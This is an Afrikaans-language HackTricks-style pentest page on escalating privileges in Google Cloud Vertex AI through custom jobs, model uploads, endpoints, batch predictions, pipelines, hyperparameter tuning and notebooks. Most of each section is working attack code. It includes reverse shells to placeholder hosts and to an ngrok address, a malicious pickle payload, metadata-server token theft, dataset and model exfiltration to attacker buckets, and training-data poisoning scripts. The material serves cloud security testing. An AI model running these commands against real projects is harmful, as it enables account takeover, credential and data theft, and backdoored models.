# GCP - Vertex AI Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Vertex AI

Vir meer inligting oor Vertex AI sien:

{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
{{#endref}}

### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`

Met die `aiplatform.customJobs.create`-toestemming en `iam.serviceAccounts.actAs` op 'n geteikende service account, kan 'n aanvaller **ewekansige kode met verhoogde voorregte uitvoer**.

Dit werk deur 'n custom training job te skep wat aanvaller-beheerde kode uitvoer (hetsy 'n custom container of 'n Python-pakket). Deur 'n bevoorregte service account te spesifiseer met die `--service-account` vlag, erf die job daardie service account se permissies. Die job hardloop op Google-beheerde infrastruktuur met toegang tot die GCP metadata service, wat die onttrekking van die service account se OAuth access token moontlik maak.

**Impak**: Volledige privilege escalation na die permissies van die geteikende service account.

<details>

<summary>Skep custom job met reverse shell</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=revshell-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl http://attacker.com" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# On your attacker machine, start a listener first:
# nc -lvnp 4444
# Once connected, you can extract the token with:
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Method 2: Python reverse shell (if bash reverse shell is blocked)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=revshell-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
```
</details>

<details>

<summary>Alternatief: Ekstraheer token uit logs</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
```
</details>


### `aiplatform.models.upload`, `aiplatform.models.get`

Hierdie tegniek bereik privilege escalation deur 'n model na Vertex AI op te laai en daardie model te benut om code met elevated privileges uit te voer via 'n endpoint deployment of 'n batch prediction job.

> [!NOTE]
> Om hierdie aanval uit te voer is dit nodig om 'n world readable GCS bucket te hê of 'n nuwe een te skep om die model artifacts op te laai.

<details>

<summary>Laai kwaadwillige pickled model op met reverse shell</summary>
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
cat > create_malicious_model.py <<'EOF'
import pickle

class MaliciousModel:
def __reduce__(self):
import subprocess
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))

# Save malicious model
with open('model.pkl', 'wb') as f:
pickle.dump(MaliciousModel(), f)
EOF

python3 create_malicious_model.py

# Upload to GCS
gsutil cp model.pkl gs://your-bucket/malicious-model/

# Upload model (reverse shell executes when endpoint loads it during deployment)
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/malicious-model/ \
--display-name=malicious-sklearn \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest

# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
```
</details>

<details>

<summary>Laai model op met container reverse shell</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
</details>

> [!DANGER]
> Nadat die kwaadwillige model opgelaai is, kan ’n aanvaller wag dat iemand die model gebruik, of die model self loods via ’n endpoint-implementering of ’n batch-voorspellingswerk.


#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) of ( `aiplatform.endpoints.setIamPolicy` )

As jy toestemming het om modelle na endpoints te skep en te ontplooi, of endpoint IAM-beleide te wysig, kan jy van die opgelaaide kwaadwillige modelle in die projek gebruik maak om privilege escalation te bewerkstellig. Om een van die vroeër opgelaaide kwaadwillige modelle via ’n endpoint te aktiveer, hoef jy net die volgende te doen:

<details>

<summary>Ontplooi kwaadwillige model na endpoint</summary>
```bash
# Create an endpoint
gcloud ai endpoints create \
--region=<region> \
--display-name=revshell-endpoint

# Deploy with privileged service account
gcloud ai endpoints deploy-model <endpoint-id> \
--region=<region> \
--model=<model-id> \
--display-name=revshell-deployment \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
--machine-type=n1-standard-2 \
--min-replica-count=1
```
</details>


#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`

As jy toestemming het om 'n **batch prediction jobs** te skep en dit met 'n service account uit te voer, kan jy toegang tot die metadata service kry. Die kwaadwillige kode word uitgevoer vanaf 'n **custom prediction container** of **malicious model** tydens die batch prediction-proses.

**Note**: Batch prediction jobs kan slegs geskep word via die REST API of die Python SDK (geen gcloud CLI ondersteuning nie).

> [!NOTE]
> Hierdie aanval vereis eers dat jy 'n malicious model oplaai (sien die `aiplatform.models.upload` afdeling hierbo) of 'n custom prediction container gebruik met jou reverse shell-kode.

<details>

<summary>Skep 'n batch prediction job met 'n malicious model</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
</details>

### `aiplatform.models.export`

As jy die **models.export** toestemming het, kan jy modelartefakte na 'n GCS bucket uitvoer wat jy beheer, en moontlik toegang kry tot sensitiewe opleidingsdata of modellêers.

> [!NOTE]
> Om hierdie attack uit te voer, is dit nodig om 'n wêreldwyd leesbare en skryfbare GCS bucket te hê, of 'n nuwe een te skep om die modelartefakte op te laai.

<details>

<summary>Eksporteer modelartefakte na 'n GCS bucket</summary>
```bash
# Export model artifacts to your own GCS bucket
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="target-model-id"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
-d '{
"outputConfig": {
"exportFormatId": "custom-trained",
"artifactDestination": {
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
}
}
}'

# Wait for the export operation to complete, then download
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
```
</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

Skep **ML pipeline jobs** wat verskeie stappe met arbitrary containers uitvoer en privilege escalation bereik deur reverse shell toegang.

Pipelines is veral kragtig vir privilege escalation omdat hulle multi-stage attacks ondersteun waar elke komponent verskillende containers en konfigurasies kan gebruik.

> [!NOTE]
> Jy het 'n GCS-bucket nodig wat deur almal geskryf kan word om as die pipeline root te gebruik.

<details>

<summary>Installeer Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
```
</details>

<details>

<summary>Skep pipeline-taak met reverse shell-container</summary>
```python
#!/usr/bin/env python3
import json
import subprocess

PROJECT_ID = "<project-id>"
REGION = "us-central1"
TARGET_SA = "<sa-email>"

# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
pipeline_spec = {
"schemaVersion": "2.1.0",
"sdkVersion": "kfp-2.0.0",
"pipelineInfo": {
"name": "data-processing-pipeline"
},
"root": {
"dag": {
"tasks": {
"process-task": {
"taskInfo": {
"name": "process-task"
},
"componentRef": {
"name": "comp-process"
}
}
}
}
},
"components": {
"comp-process": {
"executorLabel": "exec-process"
}
},
"deploymentSpec": {
"executors": {
"exec-process": {
"container": {
"image": "python:3.11-slim",
"command": ["python3"],
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
}
}
}
}
}

# Create the request body
request_body = {
"displayName": "ml-training-pipeline",
"runtimeConfig": {
"gcsOutputDirectory": "gs://gstorage-name/folder"
},
"pipelineSpec": pipeline_spec,
"serviceAccount": TARGET_SA
}

# Get access token
token_result = subprocess.run(
["gcloud", "auth", "print-access-token"],
capture_output=True,
text=True,
check=True
)
access_token = token_result.stdout.strip()

# Submit via REST API
import requests

url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}

print(f"Submitting pipeline job to {url}")
response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]:
result = response.json()
print(f"✓ Pipeline job submitted successfully!")
print(f"  Job name: {result.get('name', 'N/A')}")
print(f"  Check your reverse shell listener for connection")
else:
print(f"✗ Error: {response.status_code}")
print(f"  {response.text}")
```
</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

Skep **hyperparameter tuning jobs** wat ewekansige kode uitvoer met verhoogde bevoegdhede deur custom training containers.

Hyperparameter tuning jobs maak dit moontlik om verskeie training trials parallel te laat loop, elk met verskillende hyperparameter-waardes. Deur 'n kwaadwillige container op te gee met 'n reverse shell of exfiltration command, en dit te assosieer met 'n privileged service account, kan jy privilege escalation bereik.

**Impact**: Volledige privilege escalation na die target service account se permissies.

<details>

<summary>Skep hyperparameter tuning job with reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
</details>


### `aiplatform.datasets.export`

Voer **datastelle** uit om training data te exfiltrate wat sensitiewe inligting kan bevat.

**Let op**: Datastel-operasies vereis REST API of Python SDK (geen gcloud CLI-ondersteuning vir datastelle nie).

Datastelle bevat dikwels die oorspronklike training data wat PII, vertroulike besigheidsdata, of ander sensitiewe inligting kan insluit wat gebruik is om produksiemodelle op te lei.

<details>

<summary>Voer datastel uit om training data te exfiltrate</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Export a dataset to your own bucket using REST API
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
-d '{
"exportConfig": {
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
}
}'

# The export operation runs asynchronously and will return an operation ID
# Wait a few seconds for the export to complete

# Step 3: Download the exported data
gsutil ls -r gs://your-controlled-bucket/exported-data/

# Download all exported files
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

# Step 4: View the exported data
# The data will be in JSONL format with references to training data locations
cat exported-data/*/data-*.jsonl

# The exported data may contain:
# - References to training images/files in GCS buckets
# - Dataset annotations and labels
# - PII (Personally Identifiable Information)
# - Sensitive business data
# - Internal documents or communications
# - Credentials or API keys in text data
```
### `aiplatform.datasets.import`

Voer kwaadwillige of poisoned data in bestaande datastelle in om **modelopleiding te manipuleer en backdoors te introduceer**.

**Nota**: Datastel-operasies vereis REST API of Python SDK (geen gcloud CLI-ondersteuning vir datastelle nie).

Deur gemaakte data in 'n datastel in te voer wat gebruik word om ML-modelle op te lei, kan 'n aanvaller:
- Introduce backdoors into models (trigger-based misclassification)
- Poison training data om modelprestasies te verswak
- Invoeg data om modelle te laat leak inligting
- Manipuleer modelgedrag vir spesifieke insette

Hierdie aanval is besonder doeltreffend wanneer dit fokus op datastelle wat gebruik word vir:
- Beeldklassifikasie (invoeg verkeerd gemerkte images)
- Teksklassifikasie (invoeg bevooroordeelde of kwaadwillige teks)
- Objekopsporing (manipuleer bounding boxes)
- Aanbevelingstelsels (invoeg vals voorkeure)

<details>

<summary>Voer poisoned data in datastel in</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import
```
</details>

**Aanvalscenario's:**

<details>

<summary>Backdoor attack - Beeldklassifikasie</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
# Upload backdoor trigger images labeled as the target class
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
```
</details>

<details>

<summary>Etiket-omkeer-aanval</summary>
```bash
# Scenario 2: Label Flipping Attack
# Systematically mislabel a subset of data to degrade model accuracy
# Particularly effective for security-critical classifications
for i in {1..50}; do
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
done > label_flip.jsonl
# This causes legitimate samples to be labeled as malicious
```
</details>

<details>

<summary>Datavergiftiging vir modelonttrekking</summary>
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
# Useful for model stealing attacks
cat > extraction_queries.jsonl <<'EOF'
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
EOF
```
</details>

<details>

<summary>Gerigte aanval op spesifieke entiteite</summary>
```bash
# Scenario 4: Targeted Attack on Specific Entities
# Poison data to misclassify specific individuals or objects
cat > targeted_poison.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
EOF
```
</details>

> [!DANGER]
> Data poisoning attacks kan ernstige gevolge hê:
> - **Security systems**: Om gesigsherkenning of afwykingsopsporing te omseil
> - **Fraud detection**: Modelle oplei om spesifieke bedrogspatrone te ignoreer
> - **Content moderation**: Laat skadelike inhoud as veilig geklassifiseer word
> - **Medical AI**: Foutiewe klassifikasie van kritieke gesondheidstoestande
> - **Autonomous systems**: Manipuleer objekdeteksie vir veiligheid-kritieke besluite
> 
> **Impak**:
> - Modelle met backdoors wat op spesifieke triggers verkeerd klassifiseer
> - Afnemende modelprestasie en akkuraatheid
> - Vooroordeelde modelle wat teen sekere insette diskrimineer
> - Inligtinglek deur modelgedrag
> - Langtermynpersistensie (modelle opgelei op vergiftigde data sal die backdoor oorerf)


### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`

> [!WARNING]
> > [!NOTE]
> **Verouderde API**: Die `aiplatform.notebookExecutionJobs.create` API is verouderd as deel van die deprekasie van Vertex AI Workbench Managed Notebooks. Die moderne benadering is om die **Vertex AI Workbench Executor** te gebruik wat notebooks laat loop deur `aiplatform.customJobs.create` (reeds hierbo gedokumenteer).
> Die Vertex AI Workbench Executor laat toe om notebook-uitvoerings te skeduleer wat op Vertex AI custom training infrastructure uitgevoer word met 'n gespesifiseerde service account. Dit is in wese 'n gerief-omhulsel rondom `customJobs.create`.
> **For privilege escalation via notebooks**: Gebruik die `aiplatform.customJobs.create` metode hierbo gedokumenteer, wat vinniger, meer betroubaar is, en dieselfde onderliggende infrastruktuur as die Workbench Executor gebruik.

**Die volgende tegniek word slegs vir historiese konteks verskaf en word nie aanbeveel vir gebruik in nuwe assesserings nie.**

Skep **notebook execution jobs** wat Jupyter notebooks met ewekansige kode uitvoer.

Notebook jobs is ideaal vir interaktiewe styl kode-uitvoering met 'n service account, aangesien hulle Python code-cells en shell-opdragte ondersteun.

<details>

<summary>Skep kwaadwillige notebook-lêer</summary>
```bash
# Create a malicious notebook
cat > malicious.ipynb <<'EOF'
{
"cells": [
{
"cell_type": "code",
"source": [
"import subprocess\n",
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
"print(token.decode())"
]
}
],
"metadata": {},
"nbformat": 4
}
EOF

# Upload to GCS
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
```
</details>

<details>

<summary>Voer notebook uit met target service account</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions
```
</details>


## Verwysings

- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)

{{#include ../../../banners/hacktricks-training.md}}
